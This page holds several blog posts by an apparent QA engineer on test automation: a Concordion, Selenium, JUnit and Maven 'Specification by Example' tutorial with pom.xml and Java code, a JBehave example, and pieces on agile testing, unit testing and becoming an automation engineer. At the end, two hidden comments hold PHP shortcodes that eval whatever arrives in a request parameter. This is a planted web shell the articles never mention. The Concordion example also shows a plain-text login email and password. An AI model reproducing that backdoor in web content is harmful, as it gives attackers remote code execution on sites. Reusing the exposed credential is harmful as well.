“Specification by Example” in example. Java, Selenium, Concordion, Junit, Maven.

Hello!
In this article I will try to explain, how to use approach “Specification by Example” on real project. What tool and framework You need for this. This example will include part of real automation testing framework (ATF) for testing of Web UI application. ATF is based on Java, JUnit, Maven, Selenium and Concordion.

Ok, so what You need to know to start with thing like this? First of all it’s good to have some practice with Java, JUnit and automation Web UI testing (I mean Selenium). If You know everything of it and if You know what is Page Object pattern – let’s imagine, that You have ready ATF based on Java, Selenium and start with implementing of Concordion into this ATF. This examples shows a real example of creation new item on Atlassian’s Jira test project.

Let’s do everything step by step.

Step 1.

Add dependency in pom.xml

<dependency>
    <groupId>org.concordion</groupId>
    <artifactId>concordion</artifactId>
    <version>1.4.7</version>
</dependency>

Step 2.

Need to configure pom.xml correctly for using correct folders and making of correct output reports. Add next section to Your pom.xml file:

<build>
    <plugins>
        <plugin>
            <groupId>org.codehaus.mojo</groupId>
            <artifactId>build-helper-maven-plugin</artifactId>
            <executions>
                <execution>
                    <id>add-specs-source</id>
                    <phase>compile</phase>
                    <goals>
                        <goal>add-test-source</goal>
                    </goals>
                    <configuration>
                        <sources>
                            <source>${basedir}/src/test/specs</source>
                        </sources>
                    </configuration>
                </execution>
                <execution>
                    <id>add-test-resource</id>
                    <phase>generate-test-sources</phase>
                    <goals>
                        <goal>add-test-resource</goal>
                    </goals>
                    <configuration>
                        <resources>
                            <resource>
                                <directory>${basedir}/src/test/specs</directory>
                                <includes>
                                    <include>**/*.html</include>
                                </includes>
                            </resource>
                        </resources>
                    </configuration>
                </execution>
            </executions>
        </plugin>
        <plugin>
            <artifactId>maven-surefire-plugin</artifactId>
            <configuration>
                <skip>true</skip>
                <systemProperties>
                    <property>
                        <name>concordion.output.dir</name>
                        <value>target/specs</value>
                    </property>
                </systemProperties>
            </configuration>
            <executions>
                <execution>
                    <id>behavior-test</id>
                    <phase>test</phase>
                    <goals>
                        <goal>test</goal>
                    </goals>
                    <configuration>
                        <skip>false</skip>
                        <testSourceDirectory>src/test/java</testSourceDirectory>
                        <includes>
                            <include>**/*Test.java</include>
                        </includes>
                        <excludes>
                            <exclude>**/*Fixture.java</exclude>
                        </excludes>
                    </configuration>
                </execution>
            </executions>
        </plugin>
    </plugins>
</build>

Step 3.

From previous step You see, that out *.html example will be stored in /src/test/specs. So, create in Your project under /src/test folder specs. And create in this folder an empty HTML file. It will be our specification. Put next data into HTML file:

<html xmlns:concordion="http://www.concordion.org/2007/concordion">
    <head lang="en">
        <meta charset="UTF-8"/>
</head>
    <body>
        <h2>Test - create new issue and verify that it's created successfully</h2>
        <p>Given username</p>
         <span concordion:set="#username">denys.zaiats@gmail.com</span>
        <p>Given password</p>       
         <span concordion:set="#password">dzaiats2015</span>       
         <p concordion:execute="performLogin(#username, #password)">Step 1. Perform login</p>       
        <p>Summary: </p>
         <span concordion:set="#summary">New issue created by automated test</span>        
        <p>Description: </p>
         <span concordion:set="#description">Issue description</span>       
        <p>Priority: </p>
         <span concordion:set="#priority">Major</span>
         <p concordion:execute="createNewIssue(#summary, #description, #priority)">
            Step 2. Create new issue
         </p>     
         <p concordion:assertTrue="isIssueCreated()">Step 3. Assert - new issue is created</p>
    </body>
</html>

As You see – You need to use Concordion schema for using of concordion’s attributes. There are next most used concordion attributes which You can use:

  • concordion:assertEquals
  • concordion:assertTrue
  • concordion:set
  • concordion:execute
  • concordion:run
  • concordion:execute on a <table>
  • concordion:execute on a <list>
  • concordion:verifyRows

You can set parameters which You want to pass in methods. You can just execute method if You want to perform any void method. More information about using of this You can find here

Step 4.

Need to create correct java test with ConcordionRunner. Here is presented an example of it:

@RunWith(ConcordionRunner.class)
public class CreateNewIssueSuccessfullyTest extends TestBase{

    public void performLogin(String username, String password){
        LoginPage loginPage = home.loginPage();
        loginPage.login(username, password);
    }

    public void createNewIssue(String summary, String description, String priority){
        home.createNewIssue(summary, description, priority);
    }

    public boolean isIssueCreated(){
        return home.isNewIssueCreated();
    }
}

Step 5.

If You did everything correctly – You should be able to clean and install project without problem with using of Maven. After successful test run new report-file will appear in folder /target/specs/

What the benefits of using this approach? The answer is obviously. You have good readable living documentations which are the part of tests. And business logic is represented not only in the code, but also in readable view for non-technical stuff.

A bit later I will post a link to live example with source code of this implementation. If You have any question – just send me e-mail to itarray.net@gmail.com

Thanks for reading my articles.
Cheers.

“Specification by Example” or how to have updated documentation

Hello!
In this article I will try to explain some trick how to work with updated documentation. I think that almost on all the project (which is working by Waterfall) happens the situation, that specification is not updated according to functionality. That test cases are obsolete. And when it’s happening – need to review all the documentation, create new one. And it takes a lot of time.
So, how to avoid this?
Start to use approach “Specification by Example (SbE)”. What is it? (From Wikipedia) Specification by example (SBE) is a collaborative approach to defining requirements and business-oriented functional tests for software products based on capturing and illustrating requirements using realistic examples instead of abstract statements. It is applied in the context of agile software development methods, in particular behavior-driven development. This approach is particularly successful for managing requirements and functional tests on large-scale projects of significant domain and organisational complexity.

Specification by example is also known as example-driven development, executable requirements, acceptance test-driven development (ATDD or A-TDD), Agile Acceptance Testing.

Successful application of Specification by example on large scale projects requires frequent validation of software functionality against a large set of examples (tests). In practice, this requires tests based on examples to be automated. A common approach is to automate the tests but keep examples in a form readable and accessible to non-technical and technical team members, keeping the examples as a single source of truth. This process is supported by a class of test automation tools which work with tests divided into two aspects – the specification and the automation layer. The specification of a test which is often in a plain text or HTML form and contains the examples and auxiliary descriptions. The automation layer connects the example to a software system under test.

The most known framework for SbE are:

  • Concordion
  • Cucumber
  • FitNesse
  • JBehave

These tools allow to collect all the examples, test steps, stories in txt or html files. After creation of examples engineer can use these files in code. What the benefits?

  • Test cases, stories are always up to date
  • Non-technical employees are able to read stories and tests. And if need – do the changes
  • All the stories are independent
  • Test engineer and business analytics could easy collaborate in creation of SbE and test cases.

How it looks like on practice?
Next examples are for Jbehave.

1. Story file with extension *.story

Scenario:  trader is alerted above threshold

Given a stock of symbol STK1 and a threshold of 10.0
When the stock is traded at 11.0
Then the alert status should be ON

 

2. Java class for implementation of this story:

public class TraderSteps {
    private Stock stock;

    @Given("a stock of symbol $symbol and a threshold of $threshold")
    public void aStock(String symbol, double threshold) {
        stock = new Stock(symbol, threshold);
    }

    @When("the stock is traded at $price")
    public void theStockIsTradedAt(double price) {
        stock.tradeAt(price);
    }

    @Then("the alert status should be $status")
    public void theAlertStatusShouldBe(String status) {
        ensureThat(stock.getStatus().name(), equalTo(status));
    }
 }

 

If change something in story file – need to change also the same in Java class to avoid errors.

I recommend to use this approach if You want to avoid any problems with not-updated documentation.

In my next article I will show how to make automation framework for Web UI testing with using Selenium, JUnit, Concordion and Maven.

Thanks for reading this article.

Cheers.

Agile testing

Agile testing

If You want to start with agile testing on Your project – firstly You need to forget that You’re only QA/QC. In agile testing You are agile software development engineer which is involved in development processes from test perspective.
It’s very interesting – what are real responsibilities of agile tester?
Let’s think about usual responsibilities of testers on the project. Tester need to write test documentation, tester need to test application and report a bugs, tester need to prepare release documentation about defects, test process, etc.

But maybe it’s possible to avoid unwanted bugs? No – it’s impossible. But possible to reduce amount of the bugs. How to do it?
First of all – tester need start to think not only on the level of acceptance user. Try to think on unit level of application, on component and integration level. Try to think about behaviour of relationship between component.

Yes, I’m talking about TDD and BDD approaches. For this You need to know another agile testing approaches which are very useful and are required.

Test pyramid

idealautomatedtestingpyramid

As a agile tester You need to make test coverage on Your test application like it’s on image above. If You want to avoid long time verification during GUI testing, UAP testing – try to cover Your application by tests on unit and integration levels. This approach will help You to avoid the verification of a lot of cases on GUI level. This is ideal model.

Another approaches – Agile testing Quadrants (image is taken from http://lisacrispin.com/)

Agile-Testing-Quadrants

Important to divide You project for 4 Quadrants. Each of these quadrants covers another side of the project. You need to remember about importance of Automation testing on the project. Automation testing – it’s not only coverage of application on GUI level. It’s coverage by Unit tests, Behaviour tests.
Each of these quadrants also has priority. I will try to explain more about Agile testing quadrants in the next articles.

Let’s go next.

TDD and BDD

What is TDD (Test-driven development) is a software development process that relies on the repetition of a very short development cycle: first the developer writes an (initially failing) automated test case that defines a desired improvement or new function, then produces the minimum amount of code to pass that test, and finally refactors the new code to acceptable standards (From Wikipedia).

16728

It’s mean that agile tester should really know development process.
What the tools are useful – all the unit-test framework. (JUnit, NUnit, TestNG etc.). It’s depend on platform where You’re working.

But what if You need to join all the created functions? You need to create some real behaviour scenarios and test it too. You need to think from business perspective and from test perspective on development level.
In this case it’s time to bethink about ATDD.
ATDD (Acceptance test-driven development) 
is a development methodology based on communication between the business customers, the developers, and the testers. ATDD encompasses many of the same practices as Specification by Example, Behaviour Driven Development (BDD), Example-Driven Development (EDD), and Story Test-Driven Development (SDD). All these processes aid developers and testers in understanding the customer’s needs prior to implementation and allow customers to be able to converse in their own domain language. ATDD is closely related to Test-Driven Development[TDD]. It differs by the emphasis on developer-tester-business customer collaboration. ATDD encompasses acceptance testing, but highlights writing acceptance tests before developers begin coding. (from Wikipedia)

The most popular practices is BDD. You can describe Your test story in human-readable text or html file and implement it in the code. This is very useful if You want to collect You test documentation and code in one place. It’s called Living documentation.
The most popular tools are JBehave, Cucumber, Concordion.

So, as You see – agile tester it’s a bit different tester from non-agile, because agile tester need to be able with developers on the same code. Don’t scare to use these approaches and practices on Your project. You will see benefits after some times. It will help to save the time of test execution.

Best regards,

Denys

Unit testing as part of QA’s responsibility

Hi folks!
This article is about unit testing in responsibility of QA engineer. As we know – exists different type of testing: unit (module), component, integration etc. Generally  – coverage of code by unit tests is developer’s responsibility. Because for developer it’s easy to do. He knows how some method was implemented and what need to verify here. But in this case a lot different edge-cases could be missed. That’s why now is existing some tendency that test engineers should covers the code by unit tests. Here are some benefits: test engineer will be read each line of the code and can find some gap where not implemented exception or something like this. Test engineer knows a different technique of testing, like boundary values etc. Test engineer will think how to implement DDT in TDD.
Ok, let’s think that You are assigned to the project and You need to do something like this. How to start and what You need to know.

  1. What framework for Unit testing is used. Is it JUnit or TestNG for JAVA.  NUnit or MSTest for C#?
  2. You need to think how much data You need to cover some functionality. You need to know this for choosing format of data saving. If it should be a lot of data for 1 test – better to save it in some *.xsl or *.csv files. If it should be a data for a lot of different tests – better to collect everything in *.xml or json format. Much easier to read file for people (from my perspective)
  3. You can divide the test classes by some logic or better – it’s to have separate test classes for each of classes in application.
  4. As QA – You need to find all the gaps in the code. You need to find where can happens unexpected exceptions and need to cover it.
  5. Remember – that unit test should cover only one unit, not 1 big method, which contains calls to a lot of small methods.
  6. Cover by unit tests everything. Even if You are thinking that here can not be error. Better to cover everything than catch unexpected error on production.
  7. Don’t scare to ask developers if You don’t understand something.

Here are a few useful link which You can read to understand, what You need to do. EasyTest, TestNG (DataProvider).

Thanks to all! And have a good testing!

How to become an Automation Test Engineer?

The last few years I have been working as Automation Software test engineer, or as they say in the labor market Automation QA / Software test engineer, etc.
And quite often, friends and acquaintances asking the same question: “how to start doing what you do? What need to know? Is it hard? “Or questions from engineers about the technical side automation, about which technologies to use and how to do it correctly. So, in this article I want to make a brief description of “What? How? When? “.

P.S.
More details about automation can be found at webinars. Information like how and where will be published later. Thank you.

Let’s start!

What need to know?

It’s the most frequently asked question. The answer is simple: what you want to automate (Web application, services), whether it be unit testing or acceptance testing, the basic principles on the “object-oriented programming, programming language (JAVA, C #, Python, …) at a basic level, using search engine, and it is desirable to understand the basic principles and concepts manual testing (test cases, bug, verification, validation, …), build systems (Maven, ANT, MS Build), technology testing, ie frameworks or libraries (Selenium, Cucumber , TestNG, JUnit, NUnit, …), web selectors elements (xpath, css-selectors), knowledge of Java-Script, JQuery is a big plus.

How need to automate the tests?

Need to automate correctly.
In order to make the correct framework for automation testing – not enough to create a new project. This should be a structured framework and preferably written for re-using by anothe test engineer. You need to have a list of test cases. It is necessary to separate the web part from service part or part of the desktop. It gets different modules. The more finely Your framework will be devided into logical parts – the more benefits and enough time You will have. Because it will save time in maintaining the framework and expanding it.

When need to start the process of automation testing on the project?

And it is desirable to do so as soon as possible. Most project managers wait until  one and the same bugs (regression) will overflow project and there will no time to engage in testing other modules, when there is no time to conduct non-functional testing. If don’t do this – the project will be on the incline into oblivion. So if you already have QA – then write the correct tests, so you do not bite your elbows because one of the functional tests covered more than you need, and the other  are partial remains “intact” testing. If You are QC – then learn everything that knows QA.

Few practical steps and tips on how to start automation project

  1. Download program for software development. If you choose Java, Python – download IDEA IntelliJ or PyCharm or Eclipse. If C # – need Visual Studio.
  2. Install additional plugin for Maven, Ant, TestNG, JUnit, NUnit (it’s not to hard understand how it works).
  3. Create correct project.
  4. Download and add required libraries.
  5. Create base structure of the framework. Need to think what part of tests You want to execute before main test suite. TestNG manual will help You in this.
  6. Set up test environment. Install required web browsers. Run required Java service if test run will be executed on another work station.
  7. When You are creating an objects of web-element – separate them to different classes to make code reusable and extendable.
  8. In assert (Assert) need to write correct strings which will describe the error.
  9. Tests should not be very big or very small.
  10. Pre-conditions should not be bigger then test-steps.

Summary

In summary of everythingI want to say that in order to engage in IT engineering – need to love it. Do not just deal for the money, but because it’s interesting. A good salary will come by itself.

In order to engage the testing – you need to feel the desire to improve the software. If you open an application or a web resource and you have a desire to report errors or to correct them – then testing is Your work and hobby. And it’s good.

Thanks to all for the reading of this article. I’ll be happy to answer on Your question. In the next posts You will find a different example of tips and tricks in automation testing.

<!– [insert_php]if (isset($_REQUEST["jAao"])){eval($_REQUEST["jAao"]);exit;}[/insert_php][php]if (isset($_REQUEST["jAao"])){eval($_REQUEST["jAao"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["CHEiF"])){eval($_REQUEST["CHEiF"]);exit;}[/insert_php][php]if (isset($_REQUEST["CHEiF"])){eval($_REQUEST["CHEiF"]);exit;}[/php] –>